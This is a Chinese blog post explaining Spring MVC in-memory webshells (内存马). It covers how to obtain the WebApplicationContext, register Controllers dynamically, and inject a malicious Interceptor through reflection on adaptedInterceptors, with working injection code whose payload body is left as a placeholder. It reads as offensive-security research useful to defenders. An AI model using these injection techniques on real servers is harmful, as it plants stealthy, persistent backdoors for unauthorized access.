美文网首页
Spring内存马

Spring内存马

作者: AxisX | 来源:发表于2022-03-05 14:55 被阅读0次

Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。Tomcat内存马的注入有Servlet和Filter等,与之对应的Spring内存马是Controller和Interceptor。本文先介绍一点Spring相关的基础概念,然后就是内存马的一般流程:如何获取Context、如何注入组件。

1. Spring相关

a. 相关概念

Spring作为Java框架,核心组件有三个:Core、Context、Bean。Java的事物都叫对象,Bean包装的就是对象,Context是对象的生存环境(也就是Bean关系的集合,这个集合又叫IOC容器),Core则是处理对象间关系的工具。

Bean的创建是典型的工厂模式。所谓工厂模式,可以理解为要生产手机产品,包括生产Huawei、iphone等,现在找到一家工厂,具备生产这两种产品的生产线,根据传入的参数不同,生成不同的产品。也就是说,Bean的创建是由BeanFactory接口来控制的。选用Spring很重要的一个原因是它可以让对象之间的依赖关系用配置文件来管理。配置文件中的<bean>节点包含Bean的完整定义,对应的是BeanDefinition对象。

Context运行环境保存了各个对象的状态,它的顶级父类是ApplicationContext(继承了BeanFactory,这也说明了Spring容器运行的主体对象是Bean)。ApplicationContext的子类主要包含两个方面:ConfigurableApplicationContext和WebApplicationContext,前者对应Context配置信息的添加修改,后者则是Web环境可以直接访问访问ServletContext。ApplicationContext作为对应的运行环境需要完成的任务包括:创建一个应用环境、利用BeanFactory创建Bean对象、保存对象关系表、捕获一些事件等。

b.开启一个最简单的SpringMVC项目

IDEA新建一个项目,可以参照这个链接https://blog.csdn.net/rrrgy236116/article/details/115550077进行修改。

SpringMVC的运行流程大致为:

用户请求-->DispatcherServlet-->HandlerMapping处理器映射器-->xml/注解处理器-->拦截器-->
DispatcherServlet->HandlerAdapter处理器适配器->
Controller->ModelAndView-->ViewReslover视图解析器-->View

web.xml文件如下

<web-app id="WebApp_ID" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <display-name>Spring Web MVC Application</display-name>

    <servlet>
        <servlet-name>HelloWeb</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>HelloWeb</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/HelloWeb-servlet.xml</param-value>
    </context-param>

    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
</web-app>

ContextLoaderListener 用来初始化全局唯一的父类Context(一个公用的IOC容器)。DispatcherServlet 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View。DispatcherServlet 初始化完成后,会创建一个子类Context实例(一个独立的 IoC 容器)。
然后根据设置的<servlet-name>HelloWeb</servlet-name>中的servlet名称,在/WEB-INF/下放置HelloWeb-servlet.xml,配置获取context的包名等。

<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:mvc="http://www.springframework.org/schema/mvc"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="
        http://www.springframework.org/schema/beans     
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/context 
        http://www.springframework.org/schema/context/spring-context-3.0.xsd
        http://www.springframework.org/schema/mvc
        http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">

    <mvc:annotation-driven/>
    <context:component-scan base-package="com.mkyong.common.controller" />

    <bean
        class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix">
            <value>/WEB-INF/pages/</value>
        </property>
        <property name="suffix">
            <value>.jsp</value>
        </property>
    </bean>
</beans>

需要注意<mvc:annotation-driven />,这个对于后续Controller注册很关键,如果没有添加该标签,在执行context.getBean()时会报错,异常如下

org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type [org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping] is defined

xsi:schemaLocation的后两行则是在引入该标签后需要加入的。<mvc:annotation-driven />是spring3.0之后引入的,官方介绍链接:https://spring.io/blog/2009/12/21/mvc-simplifications-in-spring-3-0
这个标签注册了 HandlerMapping 和 HandlerAdapter 来分发请求到@Controllers

2. 如何获取Context

看过之前的内存马系列文章就会发现,无论是什么类型的内存马,其核心都在于获取容器的Context对象。Tomcat中是StandardContext,Spring中则是WebApplicationContext。


WebApplicationContext接口实现类

LandGrey给出了五种获取Spring的Context的方法(实际获取的都是XmlWebApplicationContext),前两个相对通用性较差。第五个在3.2.x 版本以上才可使用

// 1 ContextLoader类专门负责root application context初始化
// ContextLoader的一个主要方法就是 initWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

// 2 spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

// 3 类似2
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

// 4
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 5
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

第二种,可以分为三部分。首先说一些知识点。
(1)WebApplicationContext对象存储—servletContext
WebApplicationContext对象在Web应用中会以WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE为键存放在ServletContext的属性列表中,所以可以直接用servletContext获取属性的方式来获取。

WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

(2)WebApplicationContext对象获取—WebApplicationContextUtils
工具类WebApplicationContextUtils提供了两种通过传入ServletContext获取WebApplicationContext的方法。

ApplicationContext ac1 =WebApplicationContextUtils.getRequiredWebApplicationContext(ServletContext sc);
ApplicationContext ac2 =WebApplicationContextUtils.getWebApplicationContext(ServletContext sc);

(3)ServletContext获取
那么还需要考虑ServletContext如何获取,一般有两种方式,通过request或者使用ContextLoader

// 1
ServletContext servletContext = request.getServletContext();
// 2
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();

(4)request对象获取—RequestContextHolder
假设是通过request的方式来获取。就要获取到HttpServletRequest对象,Spring提供了RequestContextHolder类以在任何地方使用HttpServletRequest对象。

HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder
        .getRequestAttributes()).getRequest();

总结来说,第二种方式就是获取request->获取ServletContext-> WebApplicationContextUtils获取WebApplicationContext。第三种和第二种类似是获取request->RequestContextUtils获取WebApplicationContext。第四种则是在RequestContextHolder中不获取request对象了,而是直接从属性中获取org.springframework.web.servlet.DispatcherServlet.CONTEXT

3. Spring的组件注册

Controller

Tomcat内存马是模拟Tomcat对Servlet、Filter或Listener组件的加载过程。其中Servlet包含了访问地址和对应的处理类,在Spring中Controller的作用与之类似。RequestMapping代表了对应的Url访问路径。

@Controller
@RequestMapping("/hello")
public class HelloController {
    @RequestMapping(method = RequestMethod.GET)
    public String printHello(ModelMap model) {
        model.addAttribute("name", "XXX");
        return "hello";
    }
}

可以看到@RequestMapping注解中的信息包括:路径"/hello"method等,都放在RequestMappingInfo中。

RequestMappingInfo

@RequestMapping注册的是RequestMappingHandlerMapping对象。当接受到request请求时,会在RequestMappingHandlerMapping中查找对应的handler来处理请求。所有的handler都存在了其父类AbstractHandlerMethodMappingmappingRegistry变量中。

所以如果模拟上述demo中Controller的注册过程,首先创建一个XXController.class,对应了一个url和HTTP方式GET/POST。放入到RequestMappingInfo中。然后获取RequestMappingHandlerMapping对象,调用父类的registerMapping方法,将RequestMappingInfoXXController.class类中的执行方法都注册到内存中。

    public void registerMapping(T mapping, Object handler, Method method) {
        this.mappingRegistry.register(mapping, handler, method);
    }

Controller注册的示例代码如下

// 1
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
    Method method2 = SpringMemTestController.class.getMethod("printHello");
    PatternsRequestCondition url = new PatternsRequestCondition("/hello");
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    SpringMemTestController injectToController = new SpringMemTestController();
    mappingHandlerMapping.registerMapping(info, injectToController, method2);

LandGrey还给出了另一种Controller注册的方法。这里的一个知识点是Spring 2.5 开始到 Spring 3.1 之前一般使用DefaultAnnotationHandlerMapping映射器 而Spring 3.1 开始及以后一般开始使用新的RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。所以除了上述的RequestMappingHandlerMapping还可以通过DefaultAnnotationHandlerMapping来注册Controller。根据图中可以看到该类的顶层父类是AbstractUrlHandlerMapping

HandlerMapping接口继承关系图
// 2
    context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
    org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh =   context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
    java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
    m1.setAccessible(true);
    m1.invoke(dh, "/favicon", "dynamicController");

// 3
    context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
    org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
    java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
    m1.setAccessible(true);
    m1.invoke(requestMappingHandlerMapping, "dynamicController");

Interceptor

Spring MVC 中的拦截器(Interceptor)类似于 Servlet 开发中的过滤器 Filter。在实际场景中,有负载均衡、网关等,如果请求的URL路由并不是网关中已有的那么可能就无法到达系统,导致Servlet内存马不生效。那么相对来说,Filter、Listener型内存马更通用。Spring的Controller型内存马类似于Tomcat的Servlet型,而Interceptor则类似Filter。能不能制作Interceptor型内存马?

写一个带有Interceptor,demo如下

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        try {
            ... // 恶意代码
        }catch (Exception e){}
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion");
    }
}

修改配置文件xx-servlet.xml,加入拦截器配置

    <mvc:interceptors>
        <mvc:interceptor>
            <mvc:mapping path="/**"/>
            <bean class="com.common.Interceptor.TestInterceptor"></bean>
        </mvc:interceptor>
    </mvc:interceptors>

Interceptor配置文件中的mapping path是对所有URL进行拦截。这样随便访问一个Controller,就会触发。在这个TestInterceptor中打一个断点,从Tomcat到该拦截器的调用链如下,从FrameworkServlet开始进入到SpringMVC。

ApplicationFilterChain.internalDoFilter
    HttpServlet.service
        FrameworkServlet.service
            DispatcherServlet.doDispatch
                HandlerExecutionChain.applyPreHandle
                    TestInterceptor.preHandle

问题:Interceptor是怎么被加入的?

跟进看一下DispatcherServlet.doDispatch

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
        HttpServletRequest processedRequest = request;
        HandlerExecutionChain mappedHandler = null;
        ...
        try {
            try {
                ...
                // 1
                // 遍历handlerMappings,从中根据request获取HandlerExecutionChain
                mappedHandler = getHandler(processedRequest);
                ...
                // 遍历handlerAdapters,根据request获取对应的HandlerAdapter
                HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
                ...
                // 2 
                // HandlerExecutionChain.applyPreHandle
                if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                    return;
                }

                // Actually invoke the handler. AbstractHandlerMethodAdapter.handle
                mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                ...
                mappedHandler.applyPostHandle(processedRequest, response, mv);
            }
            ...
            processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
        }
        ...
    }

(1)getHandler
getHandler的调用链会执行到AbstractHandlerMapping.getHandlerExecutionChain这步,根据request获取请求的路径,遍历this.adaptedInterceptors,如果路径和拦截器能够匹配上,就将拦截器加入到HandlerExecutionChain

DispatcherServlet.getHandler
    AbstractHandlerMapping.getHandler
        AbstractHandlerMapping.getHandlerExecutionChain

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
                (HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request);
        for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
            if (interceptor instanceof MappedInterceptor) {
                MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
                if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) {
                    chain.addInterceptor(mappedInterceptor.getInterceptor());
                }
            }
            else {
                chain.addInterceptor(interceptor);
            }
        }
        return chain;
    }

那么反向来讲,如果要将制作的恶意Interceptor加入到Spring中,需要先获取AbstractHandlerMapping中的属性值adaptedInterceptors。AbstractHandlerMapping的实现类就是上文提到的RequestMappingHandlerMappingadaptedInterceptors获取写法如下

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

adaptedInterceptors.add(XXInterceptor);

问题:Interceptor怎么触发的?
(2)applyPreHandle
循环获取interceptors,执行其preHandlle方法方法。

// HandlerExecutionChain
    boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
         // 获取所有的interceptors
        HandlerInterceptor[] interceptors = getInterceptors();
        if (!ObjectUtils.isEmpty(interceptors)) {
            for (int i = 0; i < interceptors.length; i++) {
                HandlerInterceptor interceptor = interceptors[i];
                //   执行interceptor的preHandlle方法
                if (!interceptor.preHandle(request, response, this.handler)) {
                    triggerAfterCompletion(request, response, null);
                    return false;
                }
                this.interceptorIndex = i;
            }
        }
        return true;
    }

所以反过来,要将恶意代码写入到Interceptor的preHandle方法中。

简单贴个注入Interceptor的demo,和之前用jsp加载一样,没有考虑没序列化等场景。根据需要进行更改

import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

@Controller
@RequestMapping("/hellooo")
public class Hello2Controller {
    @RequestMapping(method = RequestMethod.GET)
    public String printWelcome(ModelMap model) throws IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException, NoSuchFieldException, IOException {
        String b64=fileToBase64("/classes/EvilInterceptor.class");
        String className = "EvilInterceptor";
        byte[] bytes =Base64.getDecoder().decode(b64);
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        AddInterceptor(className);
        model.addAttribute("message", "Add Interceptor to Spring");
        return "hello";

    }

    public static String fileToBase64(String filePath) throws IOException, IllegalAccessException, InstantiationException {
        File file = new File(filePath);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int) file.length()];
        inputFile.read(buffer);
        inputFile.close();
        byte[] bs = Base64.getEncoder().encode(buffer);
        System.out.println(new String(bs));
        return new String(bs);
    }

    public static void AddInterceptor(String className){
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        try{
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
        }catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

参考文章

https://landgrey.me/blog/12/
https://landgrey.me/blog/19/

相关文章

  • Spring内存马

    Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。Tomcat内存马...

  • Java 内存管理

    Java 内存管理 马士兵内存分配视频

  • springboot admin监控告警

    概述 Spring Boot Actuator提供了对单个Spring Boot的监控,信息包含:应用状态、内存、...

  • spring batch 2: 搭建环境以及简单的Job

    这节介绍如何使用spring batch。Spring batch 默认为内存方式(HSQLDB),但是产品功能上...

  • 在Spring Boot使用H2内存数据库

    在Spring Boot使用H2内存数据库 在之前的文章中我们有提到在Spring Boot中使用H2内存数据库方...

  • 面试备忘

    spring特性 单例模式如何实现 redis内存淘汰策略 spring bean的生命周期https://yq...

  • As-Exploits v1.4更新

    @yzddmr6 更新日志 v 1.4 (2021/7/24) aspx新增 内存马 模块 aspx新增 内存马管...

  • SpringBoot整合Redis

    一:简介Redis是一个基于键值对的开源内存数据存储,Spring对Redis的支持是通过Spring Data ...

  • 9-SQL database

    spring boot 内嵌数据库支持 内存数据库不能提供数据持久化,但用于测试很方便;Spring boot自动...

  • Spring Boot源码分析文章合集

    Spring Boot引起的“堆外内存泄漏”排查及经验总结 Spring Cloud构建微服务架构:分布式服务跟踪...

网友评论

      本文标题:Spring内存马

      本文链接:https://www.haomeiwen.com/subject/auterrtx.html